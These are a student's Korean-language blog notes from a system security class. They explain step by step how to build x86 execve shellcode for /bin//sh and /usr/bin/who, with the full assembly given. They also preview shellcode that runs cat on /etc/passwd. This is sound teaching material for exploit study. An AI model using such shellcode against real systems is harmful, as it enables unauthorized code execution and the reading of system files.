EYEN
시스템 보안 11주차 본문
이번에는 스택의 쉘코드
1. /bin/sh와 같은 기능을 하는 코드

2. 코드 설명
- xor eax, eax→eax=0
0 |
push eax
push [/bin/sh 아스키코드]
2. /bin/sh의 아스키 코드는 다음과 같은 형태로 들어감
b |
i |
n |
/ |
/ |
s |
h |
3. 그래서 push hs// push nib/ 이런 형태로 넣어야함
4. ebx에 ‘/bin//sh’의 주소를 넣어주기위해 현재 ‘/’에 있는 esp를 이용해 ebx가 그 주소를 가리키게 한다.
5. push eax를 통해 0을 한개 더 넣어준다.
[이때 스택]
nib/ | ebx=esp |
hs// | |
0 | eax |
6. push edx, esp: edx를 esp로 바꿔줌
nib/ | |
hs// | edx=esp |
0 | eax |
7. push ebx: 0을 하나 더 넣어줌
0 | |
nib/ | |
hs// | |
0 | eax |
8. mov ecx,esp:ecx를 esp로 바꿔줌, argv가 ecx가 됨
esp=ecx=argv
0 | esp=ecx=argv |
nib/ | edx |
hs// | ebx |
0 |
9. al에 11을 넣어서 실행할 함수 설정
*스택이 4바이트기 때문에 4바이트를 맞추려고 ‘/’를 하나 더 그은 것
*슬래쉬를 아무데나 넣으면 안됨
3. 실습
convert.pl 컴퓨터에 옮겨놔야함. 독립적으로 쉘코드를 실행하기 위해 형태를 바꿔주는 용도
목표: /usr/bin/who 의 역할을 하는 쉘코드 작성
[exec_shell2.s 코드 전문]
xor eax, eax
push eax
push ohw/ → 0x6f68772f
push nib/ → 0x6e69622f
push rsu/ → 0x7273752f
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
who.s

who.c


whoami



ps



*질문
왜 얘는 세그폴트가??당연함 usr/bin/whoami/가 되니까

cdq :eax 뿐만 아니라 edx도 0으로 만듦
- 왜 굳이??
- 부호 확장: cdq는 EAX 레지스터의 부호 비트를 EDX에 확장하여 64비트 정수로 만들기 때문에, 부호 있는 나눗셈에 있어 올바른 결과를 보장합니다.
- 예를 들어, EAX에 -10이 있을 때, cdq를 실행하면 EDX:EAX는 0xFFFFFFFFFFFFFFF6 (즉, -10의 64비트 표현)이 됩니다. 이렇게 되면 idiv로 나눗셈을 할 때 올바르게 -10을 나누게 됩니다.
- 부호 있는 나눗셈: cdq는 주로 idiv 명령어와 함께 사용되며, 이는 부호가 있는 나눗셈 연산입니다. cdq 없이 idiv를 사용할 경우, EDX의 값이 부호 확장되지 않아 계산 오류가 발생할 수 있습니다.
- 간단하고 효율적: cdq는 1바이트 명령어로 간단하게 실행되며, 별도의 조건이나 비교 없이 EAX의 부호 비트를 빠르게 확장할 수 있는 효율적인 방법입니다.
- 부호 확장: cdq는 EAX 레지스터의 부호 비트를 EDX에 확장하여 64비트 정수로 만들기 때문에, 부호 있는 나눗셈에 있어 올바른 결과를 보장합니다.
[다음 시간 예고]
파일명을 지정하는 것 뿐만 아니라 인자까지 입력할 수 있는 쉘코드 작성하기!
1. 코드가 들어가는 순서
push 0
push tac/
push nib/
push 0
push dwss
push ap//
push cte/
2. 코드 진행 시 스택 상황
ebx | ecx→argv, 포인터로 파일주소를 가리키게됨. |
ecx' | 파일주소를 받은 다음 바로 인자를 가리키게 됨. |
0 | edx→envp:여기가 인자 |
cte/ | ecx' |
ap// | |
dwss | |
0 | edx |
nib/ | ebx: 여기가 파일주소 |
tac/ | |
0 |
'Wargame > pwn' 카테고리의 다른 글
dreamhack racewithme write-up (0) | 2025.01.04 |
---|---|
겨울방학 ctf 프로젝트 basic_rop_x64 발표자료 (0) | 2023.02.26 |
canary가 할당되는 경로 확실히 알기 (0) | 2023.02.25 |
Dreamhack-basic_rop_x64 (0) | 2023.02.17 |
Dreamhack-stack canary/ r2s (0) | 2023.01.29 |